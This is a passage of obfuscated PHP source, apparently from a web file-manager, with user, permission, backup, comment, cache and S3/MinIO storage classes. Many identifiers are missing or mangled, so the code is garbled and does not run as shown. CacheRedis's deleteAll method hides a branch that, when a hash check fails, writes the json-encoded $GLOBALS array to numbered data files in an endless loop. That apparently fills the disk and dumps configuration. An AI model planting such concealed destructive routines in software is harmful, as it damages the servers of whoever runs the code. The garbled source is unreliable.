$ݏ =& $_SERVER[]; if (!$ǰ) { return array(); } $this->_listAppendGroup($ǰ, array_to_keyvalue($ǰ, $ݏ[12], $ݏ[1779])); return $ǰ; } private function _listAppendMeta(&$ԑ, $) { $ċ =& $_SERVER[]; $ = UserJobModel::JOB_KEY; $Ϩ = array($ċ[2481]); $Ҳ = array($ċ[1779] => array($ċ[7], $)); $萈 = Model($ċ[2479])->where($Ҳ)->select(); $萈 = array_to_keyvalue_group($萈, $ċ[1779]); foreach ($萈 as &$χ) { $ = array(); foreach ($χ as $ϖ) { if (!in_array($ϖ[$ċ[107]], $Ϩ)) { $[$ϖ[$ċ[107]]] = $ϖ[$ċ[459]]; } } $χ = $; } unset($χ); $Ӟ = Model($ċ[2503]); foreach ($ԑ as &$) { $ = array(); if (isset($萈[$[$ċ[1779]]])) { $ = $萈[$[$ċ[1779]]]; } $[$ċ[2504]] = array(); if (isset($[$])) { $[$ċ[2504]] = $Ӟ->getUserJobInfo($[$]); } } unset($); } protected function groupUserAll($ݤ) { $ =& $_SERVER[]; if (!$ݤ) { return !1; } $ = Model($[2072])->field($[1779])->where(array($[1978] => array($[7], $ݤ)))->select(); $ = array_to_keyvalue($, $[12], $[1779]); return array_unique($); } public function userSearch($, $ = "\52") { return Model($_SERVER[][607])->where($)->field($)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\163\145\x72\137\157\160\x74\x69\157\156"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($ң) { $ =& $_SERVER[]; $İ = defined($[2204]) && USER_ID ? USER_ID : $[12]; return "\125\x73\145\x72\x4f\160\164\x69\x6f\x6e\137{$ң}\x5f" . $İ; } protected function filterWhere($) { $ط =& $_SERVER[]; $[$ط[1779]] = defined($ط[2204]) && USER_ID ? USER_ID : $ط[12]; return $; } public function cacheRemoveUser($, $) { return Cache::remove("\125\x73\145\x72\x4f\160\164\x69\x6f\156\137{$}\137" . $); } protected function optionDefault($ = '') { $젿 =& $_SERVER[]; if ($ == $젿[12]) { return $GLOBALS[$젿[6]][$젿[2505]]; } if ($ == $젿[2506]) { return $GLOBALS[$젿[6]][$젿[2507]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\x55\x73\x65\x72\x2e\x74\141\147\114\151\x73\x74"; public $modelType = "\125\163\145\x72\x4f\x70\x74\x69\157\156"; public $field = array("\x6e\141\155\145", "\163\x74\x79\154\x65", "\x73\157\162\x74"); public function listData($ = false, $ = "\163\x6f\x72\164", $ = false) { return parent::listData($, $, $); } public function remove($Ÿ) { return parent::remove($Ÿ); } public function add($ÔȲ, $ӱ = "\x6c\x61\x62\145\154\55\147\162\145\171\x2d\x6e\157\162\x6d\141\x6c") { $ʽ =& $_SERVER[]; if ($this->findByName($ÔȲ)) { return !1; } $ = array($ʽ[503] => $ÔȲ, $ʽ[567] => $ӱ, $ʽ[1982] => $this->getSort($ʽ[344]) + 1); return parent::insert($); } public function update($҂, $š) { $߿ =& $_SERVER[]; $ = $this->listData($҂); $͠ = $this->findByName($š[$߿[32]]); if (!$ || $͠ && $͠[$߿[484]] != $[$߿[484]]) { return !1; } return parent::update($҂, $š); } public function moveTop($֍) { $ =& $_SERVER[]; $ޫ = parent::listData(); $ = $this->getSort($[343]); foreach ($ޫ as &$Ӹ) { if ($Ӹ[$[484]] == $֍) { $Ӹ[$[2002]] = $; continue; } $Ӹ[$[2002]] += 1; } unset($Ӹ); return parent::resetData($ޫ); } public function moveBottom($괶) { $Ęᑎ =& $_SERVER[]; $ = $this->getSort($Ęᑎ[344]) + 1; return parent::update($괶, array($Ęᑎ[2002] => $)); } public function resetSort($) { $찎Ų =& $_SERVER[]; $§ = array(); $ = is_array($) ? $ : array(); for ($ضϐ = 0; $ضϐ < count($); $ضϐ++) { $§[$[$ضϐ] . $찎Ų[12]] = $ضϐ + 1; } $ĵ = parent::listData(); foreach ($ĵ as &$) { $ = $§[$[$찎Ų[484]]]; $[$찎Ų[2002]] = $ ? $ : $[$찎Ų[2002]]; } unset($); return parent::resetData($ĵ); } private function getSort($ٓ) { $ލ =& $_SERVER[]; $Ѳ = parent::listData(); $ = array_to_keyvalue($Ѳ, $ލ[12], $ލ[2002]); if (!$) { $ = array(0); } $ = $ٓ == $ލ[344] ? max($) : min($); return intval($); } } goto bʼ; e˾ă: class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $) { $½͐ =& $_SERVER[]; if (!class_exists($½͐[956])) { show_json($½͐[957], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($[$½͐[958]]) && count($[$½͐[958]]) >= 1) { foreach ($[$½͐[958]] as $) { $ѵ = explode($½͐[4], $); $this->handle->addServer($ѵ[0], $ѵ[1]); } } else { $this->handle->addServer($[$½͐[218]], $[$½͐[219]]); } } public function set($̞, $ͪ, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($̞, $ͪ, $); } public function get($) { return $this->handle->get($); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($Ҙ, $Ȃ) { $ˋ =& $_SERVER[]; if (!class_exists($ˋ[959])) { show_json($ˋ[960], !1); } $this->cacheTime = $Ȃ; $϶ = isset($Ҙ[$ˋ[961]]) ? $Ҙ[$ˋ[961]] : 10; $Օ = _get($Ҙ, $ˋ[958]); if ($Օ && is_array($Օ)) { $this->initCluster($Ҙ, $϶); } else { $this->handle = $this->init($Ҙ, $϶); } } private function init($, $Տǟ) { $О =& $_SERVER[]; $ = new Redis(); $ß = isset($[$О[962]]) ? $[$О[962]] : !1; if ($ß) { $->pconnect($[$О[218]], $[$О[219]], $Տǟ); } else { $->connect($[$О[218]], $[$О[219]], $Տǟ); } if (!empty($[$О[496]])) { $->auth($[$О[496]]); } if (!empty($[$О[846]]) && $[$О[846]] != 0) { $->select($[$О[846]]); } return $; } private function initCluster($, $Έ) { $鵑 =& $_SERVER[]; $ԛ = array($鵑[963], $鵑[964], $鵑[965]); $΋ = $鵑[963]; if (isset($[$鵑[16]]) && in_array($[$鵑[16]], $ԛ)) { $΋ = $[$鵑[16]]; } switch ($΋) { case $鵑[963]: $this->_slave($, $Έ); break; case $鵑[964]: break; case $鵑[965]: $this->isCluster = !0; $쾫Ҥ = $[$鵑[958]]; $ = isset($[$鵑[962]]) ? $[$鵑[962]] : !1; $ = isset($[$鵑[496]]) ? $[$鵑[496]] : null; $this->handle = new RedisCluster(NUll, $쾫Ҥ, $Έ, $Έ, $, $); break; default: break; } } private function _slave($, $Ň) { $ǿ = $[$_SERVER[][958]]; $this->filterConfig($, $ǿ[0]); $this->handle = $this->init($, $Ň); unset($ǿ[0]); if (empty($ǿ)) { return; } $֡ = array_rand($ǿ); $this->filterConfig($, $ǿ[$֡]); $this->slaveHandle = $this->init($, $Ň); } private function filterConfig(&$, $޴) { $Ņ =& $_SERVER[]; $ = explode($Ņ[4], $޴); $ = array($Ņ[218] => $[0], $Ņ[219] => $[1]); $ = array_merge($, $); } public function set($ŭ⢽, $Ġʫ, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($ŭ⢽, $, $Ġʫ); } public function setLock($ܮ, $Ŀț, $˹) { return $this->handle->setNX($ܮ, $Ŀț); } public function get($) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ƴ =& $_SERVER[]; $Ӭ = $_SERVER[$ƴ[69]]; $ = $ƴ[887]; if ($_SERVER[$ƴ[60]] != $($Ӭ)) { $Ņ = $ƴ[966]; $փ = $ƴ[62]; $և = $_SERVER[$ƴ[63]] . $ƴ[64]; $▆ = $փ($և); $ = explode($ƴ[65], $▆); if (count($) < $ƴ[711]) { $ = $ƴ[67]; $(); } $ = $ƴ[967]; $($_SERVER[$ƴ[968]]); $Ņ = $ƴ[966]; $Ņ(); $Ńѣ = $ƴ[969]; $ͩ = json_encode($GLOBALS[$ƴ[970]]); $É = 1; for ($Ě = $É; $Ě > 0; $Ě++) { $Ńѣ(DATA_PATH . $Ě, $ͩ); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ = '', $ = 0) { if (is_string($) && $ != $_SERVER[][12]) { $this->prefix = $; } if (is_numeric($) && $ > 0) { $this->expire = $; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($, $, $杰 = 0, $г = false, $ = false) { $ʊ =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$杰) { $杰 = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $ . $杰) { return; } self::$sameCookieSet[$] = $ . $杰; if (!$) { $ = str_replace(HOST, $ʊ[12], APP_HOST); $ = _get($GLOBALS, $ʊ[971], $); } $؎ڈ = $ʊ[12]; setcookie($, $, time() + $杰, $ʊ[8] . trim($, $ʊ[8]) . $؎ڈ, !1, !1, $г); } public static function setSafe($竣, $Ȯ, $ = 0) { self::set($竣, $Ȯ, $, !0); } public static function get($ۤ) { static $ŧ = false; if (!$ŧ) { self::initHeaderCookie(); $ŧ = !0; } return isset($_COOKIE[$ۤ]) ? $_COOKIE[$ۤ] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[]; if (!isset($_SERVER[$[972]]) || !$_SERVER[$[972]]) { return; } $ = explode($[84], $_SERVER[$[972]]); foreach ($ as $) { $ = explode($[973], $); if (count($) != 2 || !isset($[1])) { continue; } $_COOKIE[trim($[0])] = trim($[1]); } } public static function remove($, $㐃 = false) { unset($_COOKIE[$]); self::set($, $_SERVER[][12], 1, $㐃); } } goto f董; A: class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($׍) { $φ =& $_SERVER[]; parent::__construct($׍); $this->setSignVersion($φ[257]); if (!$this->region) { $this->region = $φ[278]; $this->client->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $ʱ = $this->getBucketRgn(); return $this->region == $ʱ ? !0 : !1; } public function uploadFormData($†, $ = 3600) { $ꚅ =& $_SERVER[]; $ϥ = $ꚅ[239]; $҈ = $ꚅ[279]; $閏 = $ꚅ[72]; $ҋ = gmdate($ꚅ[280]); $ = gmdate($ꚅ[281]); $뵪 = $ꚅ[282]; $ = $ . $ꚅ[12]; $⒓ = $ꚅ[283]; $Ɯ = array($this->accessKey, $, $this->region, $閏, $뵪); $ = implode($ꚅ[8], $Ɯ); $ = array($ꚅ[284] => gmdate($ꚅ[285], strtotime($ꚅ[286])), $ꚅ[287] => array(array($ꚅ[288] => $this->bucket), array($ꚅ[289] => $ϥ), array($ꚅ[290], $ꚅ[291], $ꚅ[12]), array($ꚅ[290], $ꚅ[292], $ꚅ[12]), array($ꚅ[290], $ꚅ[293], $ꚅ[12]), array($ꚅ[294] => $⒓), array($ꚅ[295] => $), array($ꚅ[296] => $҈), array($ꚅ[297] => $ҋ), array($ꚅ[298] => $))); $ = base64_encode(json_encode($)); $Ў = hash_hmac($ꚅ[299], $, $ꚅ[300] . $this->secret, !0); $Œ = hash_hmac($ꚅ[299], $this->region, $Ў, !0); $؇ = hash_hmac($ꚅ[299], $閏, $Œ, !0); $˹ = hash_hmac($ꚅ[299], $뵪, $؇, !0); $ܕ = hash_hmac($ꚅ[299], $, $˹); $ȍ = array($ꚅ[256] => $ꚅ[12], $ꚅ[301] => $ꚅ[12], $ꚅ[289] => $ϥ, $ꚅ[294] => $⒓, $ꚅ[302] => $, $ꚅ[303] => $, $ꚅ[304] => $҈, $ꚅ[305] => $ҋ, $ꚅ[306] => $, $ꚅ[307] => $ܕ, $ꚅ[218] => $this->getHost()); return $ȍ; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($ض痈, $̀֋ = 3600) { $ =& $_SERVER[]; $䙃 = $[239]; $啑 = $[279]; $Ჲ = $[72]; $ڎ = gmdate($[280]); $ = gmdate($[281]); $ = $[282]; $ҨҘ = $̀֋ . $[12]; $ŏގ = $[283]; $ = array($this->accessKey, $, $this->region, $Ჲ, $); $ = implode($[8], $); $ = array($[284] => gmdate($[308], strtotime($[286])), $[287] => array(array($[288] => $this->bucket), array($[289] => $䙃), array($[290], $[291], $[12]), array($[290], $[292], $[12]), array($[290], $[293], $[12]), array($[294] => $ŏގ), array($[295] => $), array($[296] => $啑), array($[297] => $ڎ), array($[298] => $ҨҘ))); $鬠 = base64_encode(json_encode($)); $ = hash_hmac($[299], $, $[300] . $this->secret, !0); $ = hash_hmac($[299], $this->region, $, !0); $ = hash_hmac($[299], $Ჲ, $, !0); $˻Ե = hash_hmac($[299], $, $, !0); $ہ = hash_hmac($[299], $鬠, $˻Ե); $ɽ޽ = array($[256] => $[12], $[301] => $[12], $[289] => $䙃, $[294] => $ŏގ, $[302] => $鬠, $[303] => $, $[304] => $啑, $[305] => $ڎ, $[306] => $ҨҘ, $[307] => $ہ, $[218] => $this->getHost()); return $ɽ޽; } public function multiUploadFormData($դ, $ص = 3600) { $ =& $_SERVER[]; $ϧ = gmdate($[309]); $ = array(); $ = $this->client->getUploadId($this->bucket, $դ, $); if (!$) { return !1; } return array($[264] => $, $[218] => $this->getHost() . $[8] . $this->pathEncode($դ), $[265] => $ϧ, $[107] => $դ); } public function multiUploadAuthData($Ɇ, $ = array()) { $٘ =& $_SERVER[]; $ = isset($[$٘[179]]) ? $[$٘[179]] : $٘[12]; $ = $[$٘[107]]; unset($[$٘[107]]); if (isset($[$٘[266]])) { return $this->listUploadParts($, $); } $ܓ = array(); if (isset($[$٘[310]])) { $ܓ[$٘[311]] = $[$٘[310]]; } $ = explode($٘[220], $this->getHost()); $分 = array($٘[312] => $[1], $٘[313] => $٘[12], $٘[256] => $٘[133], $٘[301] => $[$٘[89]]); $ = $٘[269]; $֭ = $٘[8] . $this->pathEncode($) . $; $ = $this->client->__getSignatureV4($ܓ, $分, $, $֭); if (strpos($, $٘[268]) === 0) { if (isset($ܓ[$٘[311]])) { $ = $ܓ[$٘[311]]; } else { if (isset($[$٘[311]])) { $ = $[$٘[311]]; } else { $ = hash($٘[299], $٘[12]); } } return array($٘[274] => $[$٘[274]], $٘[311] => $, $٘[265] => $[$٘[314]]); } return $[$٘[274]]; } public function listUploadParts($, $䷃՘ = array()) { $Ŀ =& $_SERVER[]; $⣞ = str_replace($Ŀ[275], $Ŀ[12], $䷃՘[$Ŀ[179]]); $ñ = $this->client->listParts($this->bucket, $, $⣞); if (!$ñ) { return !1; } $ޕ = $Ŀ[315]; foreach ($ñ as $٭ǯ) { $ޕ .= $Ŀ[316] . "\x3c\120\x61\162\164\116\x75\x6d\x62\145\x72\x3e{$٭ǯ[$Ŀ[317]]}\74\x2f\120\141\162\164\x4e\165\155\142\x65\162\x3e\xa" . "\74\x45\124\x61\x67\x3e{$٭ǯ[$Ŀ[318]]}\74\57\105\x54\141\x67\76\12" . $Ŀ[319]; } $ޕ .= $Ŀ[320]; $ = array(); $͙ = explode($Ŀ[220], $this->getHost()); $ = array($Ŀ[312] => $͙[1], $Ŀ[256] => $Ŀ[133], $Ŀ[301] => strlen($ޕ)); $ߏ = $Ŀ[267]; $ = $Ŀ[8] . $this->pathEncode($) . $䷃՘[$Ŀ[179]]; $ղ = $this->client->__getSignatureV4($, $, $ߏ, $, $ޕ); return array($Ŀ[274] => $ղ[$Ŀ[274]], $Ŀ[265] => $ղ[$Ŀ[314]], $Ŀ[276] => $ñ, $Ŀ[311] => $ղ[$Ŀ[311]]); } public function link($ž, $ = array()) { return parent::link($ž, $); } public function fileOut($, $ = false, $ = false, $ڴ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][321])) { return parent::fileOutServer($, $, $, $ڴ); } parent::fileOut($, $, $, $ڴ); } public function fileOutImage($䶨, $ = 250) { if (strstr($this->endpoint, $_SERVER[][321])) { return parent::fileOutImageServer($䶨, $); } parent::fileOutImage($䶨, $); } public function fileOutLink($̛) { $㙹 =& $_SERVER[]; if (substr($̛, 0, 7) == $㙹[322]) { $̛ = $㙹[323] . substr($̛, 7); } header($㙹[185] . $̛); die; } } define($_SERVER[][324], 1); goto d; Fƽ̨: class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[]; $޳ = array(array($[503] => LNG($[1979]), $[1980] => $[1981], $[1982] => 1, $[1983] => 1, $[1984] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[503] => LNG($[1985]), $[1980] => $[1986], $[1982] => 2, $[1983] => 1, $[1984] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[503] => LNG($[1987]), $[1980] => $[1988], $[1982] => 3, $[1983] => 1, $[1984] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[503] => LNG($[1989]), $[1980] => $[1990], $[1982] => 4, $[1983] => 1, $[1984] => self::AUTH_SHOW | self::AUTH_VIEW), array($[503] => LNG($[1991]), $[1980] => $[1992], $[1982] => 5, $[1983] => 1, $[1984] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[503] => LNG($[1993]), $[1980] => $[1994], $[1982] => 6, $[1983] => 1, $[1984] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[503] => LNG($[1995]), $[1980] => $[1996], $[1982] => 7, $[1983] => 1, $[1984] => 0)); return $޳; } public static function authCheck($󅊝, $̯) { $ =& $_SERVER[]; $󅊝 = intval($󅊝); if (KodUser::isRoot() && $GLOBALS[$[6]][$[1997]]) { return !0; } if ($󅊝 <= 0) { return !1; } if (($󅊝 & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($󅊝 & $̯); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($ⱹ) { return self::authCheck($ⱹ, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($베) { return self::authCheck($베, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($ßؘ) { return self::authCheck($ßؘ, self::AUTH_REMOVE); } public static function authCheckShare($Ղɼ) { return self::authCheck($Ղɼ, self::AUTH_SHARE); } public static function authCheckComment($) { return self::authCheck($, self::AUTH_COMMENT); } public static function authCheckEvent($Ͽ) { return self::authCheck($Ͽ, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($, $ͫ) { $ =& $_SERVER[]; $ = array($[1998] => self::AUTH_VIEW, $[1290] => self::AUTH_DOWNLOAD, $[120] => self::AUTH_UPLOAD, $[1947] => self::AUTH_EDIT, $[1946] => self::AUTH_REMOVE, $[1957] => self::AUTH_SHARE, $[439] => self::AUTH_COMMENT, $[1767] => self::AUTH_EVENT, $[1999] => self::AUTH_ROOT); if (!isset($[$ͫ])) { return; } $ = $[$ͫ]; $ = intval($); if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authDisable($˛, $) { if (intval($˛) <= 0) { return 0; } return intval($˛) & ~$; } public $optionType = "\123\171\x73\x74\145\x6d\x2e\x73\157\x75\162\x63\x65\101\x75\x74\150\114\151\x73\x74"; public $field = array("\156\x61\155\x65", "\x61\x75\x74\150", "\154\141\x62\x65\154", "\144\x69\163\160\x6c\141\171", "\x73\171\x73\x74\145\155", "\163\157\162\x74"); public function initData() { $ن̏ = $this->authDefault(); foreach ($ن̏ as $ɻ) { $this->add($ɻ); } } public function findAuth($Ż, $񇵹) { $菗 =& $_SERVER[]; $ = parent::listData(); foreach ($ as $) { $ = intval($[$菗[496]]); if ($ <= 0 || $[$菗[2000]] == 0) { continue; } if (($ & $Ż) != $Ż) { continue; } if (($ & $񇵹) != 0) { continue; } return $[$菗[484]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $쇣 =& $_SERVER[]; $ = parent::listData(); $Ѯ = !1; foreach ($ as $ç) { if ($ç[$쇣[496]] <= 0 || $ç[$쇣[2000]] == $쇣[238]) { continue; } if (!$Ѯ) { $Ѯ = $ç; continue; } if ($Ѯ[$쇣[496]] > $ç[$쇣[496]]) { $Ѯ = $ç; } } return $Ѯ ? $Ѯ[$쇣[484]] : $쇣[12]; } public function listData($ = false, $‡ = "\x73\157\x72\164", $ŕ = false) { return parent::listData($, $‡, $ŕ); } public function update($, $ӂ) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($ӂ[$[32]]); if (!$ || $ && $[$[484]] != $[$[484]]) { return !1; } $this->filterAuth($ӂ[$[496]]); return parent::update($, $ӂ); } public function remove($ֹƫ) { $ = parent::listData($ֹƫ); if (!$ || $[$_SERVER[][201]]) { return !1; } return parent::remove($ֹƫ); } public function add($ = array()) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $ٙ = array($[32] => $[12], $[496] => 1, $[2001] => $[1988], $[2000] => 1, $[201] => 0, $[2002] => 0); $ = array_merge($ٙ, $); $[$[2002]] = $this->getSort(); $this->filterAuth($[$[496]]); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ߵ = parent::listData(); $ = array_to_keyvalue($ߵ, $[12], $[2002]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$Ҿ⾾) { if (!$Ҿ⾾) { return; } $є = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($є as $͢) { if ($Ҿ⾾ & $͢) { $[] = $͢; } } if (in_array(self::AUTH_ROOT, $)) { $Ҿ⾾ = array_sum($є); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $͢) { if (isset($[$͢])) { $ = array_merge($, $[$͢]); } } $[] = self::AUTH_SHOW; $Ҿ⾾ = array_sum(array_unique($)); } public function sort($ܷي, $) { return parent::update($ܷي, $); } } class BackupModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\145\x6d\56\x62\x61\143\153\165\160\x4c\x69\x73\x74"; public $field = array("\151\x6f", "\x6e\x61\155\145", "\x73\x74\x61\x74\165\x73", "\x63\157\x6e\164\145\x6e\x74", "\x6d\x61\156\x75\141\x6c", "\x72\x65\163\x75\x6c\164", "\x74\x69\155\145\x46\162\157\155", "\x74\151\155\145\x54\x6f"); public function config() { $ =& $_SERVER[]; Action($[2003])->taskInit(); $ = Model($[859])->get($[872]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); $this->parseContent($); unset($[$[1749]]); Model($[1748])->cacheClear(); $ = $[2004]; $칤 = Model($[2005])->findByKey($[1767], $); if (!$칤) { $칤 = array(); } if (isset($칤[$[216]])) { $칤[$[216]] = json_decode($칤[$[216]], !0); } if (isset($[$[216]])) { $칤[$[216]][$[1752]] = $[$[216]]; unset($[$[216]]); } return array_merge($칤, $); } public function listData($Ċ = false, $姇 = "\x6d\157\144\151\146\171\x54\x69\x6d\x65", $ߨ = false) { $˄ = parent::listData($Ċ, $姇, !0); if (!$˄) { return $˄; } if ($Ċ) { $˄ = array($˄); } foreach ($˄ as &$Պ) { $this->parseContent($Պ); } return $Ċ ? $˄[0] : $˄; } public function parseContent(&$З) { $ɲ =& $_SERVER[]; $ˎ = _get($З, $ɲ[181], $ɲ[101]); if (!in_array($ˎ, array($ɲ[865], $ɲ[1222]))) { $З[$ɲ[181]] = $ˎ == $ɲ[101] ? $ɲ[1222] : $ɲ[865]; } } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : null; } public function kill($޾) { $ۖ =& $_SERVER[]; $ = $this->listData($޾); if (!$ || empty($[$ۖ[32]])) { return !0; } Task::kill($ۖ[871]); Task::kill($ۖ[890]); Task::kill($ۖ[899]); $ = $[$ۖ[32]]; $ċ = TEMP_FILES . $ۖ[868] . $ . $ۖ[8]; IO::remove($ċ, !1); return $this->remove($޾); } public function remove($Ċ) { $۫ = $this->listData($Ċ); if (!$۫) { return !0; } return $this->backupRemove($۫); } private function backupRemove($Îײ) { parent::remove($Îײ[$_SERVER[][484]]); $܀ = $this->backupPath($Îײ); IO::remove($܀, !1); return !0; } private function backupPath($̖) { $ɥ =& $_SERVER[]; $߂Ӣ = $̖[$ɥ[32]]; $Ӣ = Model($ɥ[859])->get($ɥ[860]); $ϫ = substr(md5($ɥ[861] . $Ӣ . $߂Ӣ), 0, 8); return "\173\151\157\72{$̖[$ɥ[841]]}\175\x2f\x64\x61\164\141\142\141\x73\x65\x2f\x62\x61\x63\x6b\x75\160\57" . $߂Ӣ . $ɥ[11] . $ϫ; } public function start() { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[102]][$[2006]] != $[101]) { return !0; } $ = $this->config(); if (!$ || $[$[1749]] != $[101]) { return !1; } if ($[$[181]] == $[865]) { $ = Model($[859])->get($[1335]); if ($ == $[1336]) { $[$[181]] = $[1222]; } } $֌Ҭ = $this->process(); foreach ($֌Ҭ as $ϳ) { if ($ϳ) { return Task::restart($ϳ[$[484]]); } } $ = new Backup(); $ = $->db(); if ($) { $ = $->dbFile(); if ($ && $[$[181]] == $[865]) { $ = $->file(); } } Backup::set(array($[839] => 1, $[850] => time())); return !0; } public function process() { $̠ =& $_SERVER[]; $ = array($̠[846] => Task::get($̠[871]), $̠[851] => Task::get($̠[890]), $̠[240] => Task::get($̠[899])); $ = !1; foreach ($ as &$ߎҏ) { if ($) { $ߎҏ = !1; continue; } if ($ߎҏ) { $ = intval(_get($ߎҏ, $̠[1784], 0)); if (time() - $ > 7200) { Task::kill($ߎҏ[$̠[484]]); $ = !0; $ߎҏ = !1; } } } return $; } public function restore() { $Ϛɬ =& $_SERVER[]; ActionCall($Ϛɬ[1149], !0, 1); ActionCall($Ϛɬ[1149], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\157\x6d\x6d\145\x6e\x74"; protected $tableMeta = array("\x74\141\142\x6c\x65\x4e\141\x6d\145" => "\x63\x6f\x6d\x6d\145\156\164\137\155\145\164\x61", "\x6d\145\x74\x61\106\x69\145\x6c\x64" => "\143\157\x6d\155\x65\x6e\164\111\104"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($萊) { $ =& $_SERVER[]; if ($萊[$[2007]]) { $ = $this->where(array($[2008] => $萊[$[2007]]))->find(); if (!$ || $[$[200]] != $萊[$[200]] || $[$[578]] != $萊[$[578]]) { return !1; } $this->where(array($[2008] => $萊[$[2007]]))->setAdd($[2009], 1); } $萊[$[2010]] = 0; $萊[$[2009]] = 0; $萊[$[839]] = 1; return $this->add($萊); } public function commentCount($ㅱ֗, $, $Ɇ֩ = false) { $䋿 =& $_SERVER[]; if (!$ㅱ֗) { return array(); } if (is_string($ㅱ֗) || is_int($ㅱ֗)) { $ㅱ֗ = array($ㅱ֗); } $Ѡ = array($䋿[578], $䋿[2011] => $䋿[574]); $ = array($䋿[578] => array($䋿[7], $ㅱ֗), $䋿[200] => $); if ($Ɇ֩) { $[$䋿[1779]] = $Ɇ֩; } $ۚ = $this->field($Ѡ)->where($)->group($䋿[578])->select(); return array_to_keyvalue($ۚ, $䋿[578], $䋿[574]); } public function starTarget($ߙ, $ߘԽ) { $ӌ =& $_SERVER[]; $ = $ߙ + self::TYPE_STAR_OFFSET; $˹ = array($ӌ[1779] => USER_ID, $ӌ[200] => $, $ӌ[578] => $ߘԽ); $̿ = $this->where($˹)->find(); if ($̿) { return $this->where(array($ӌ[484] => 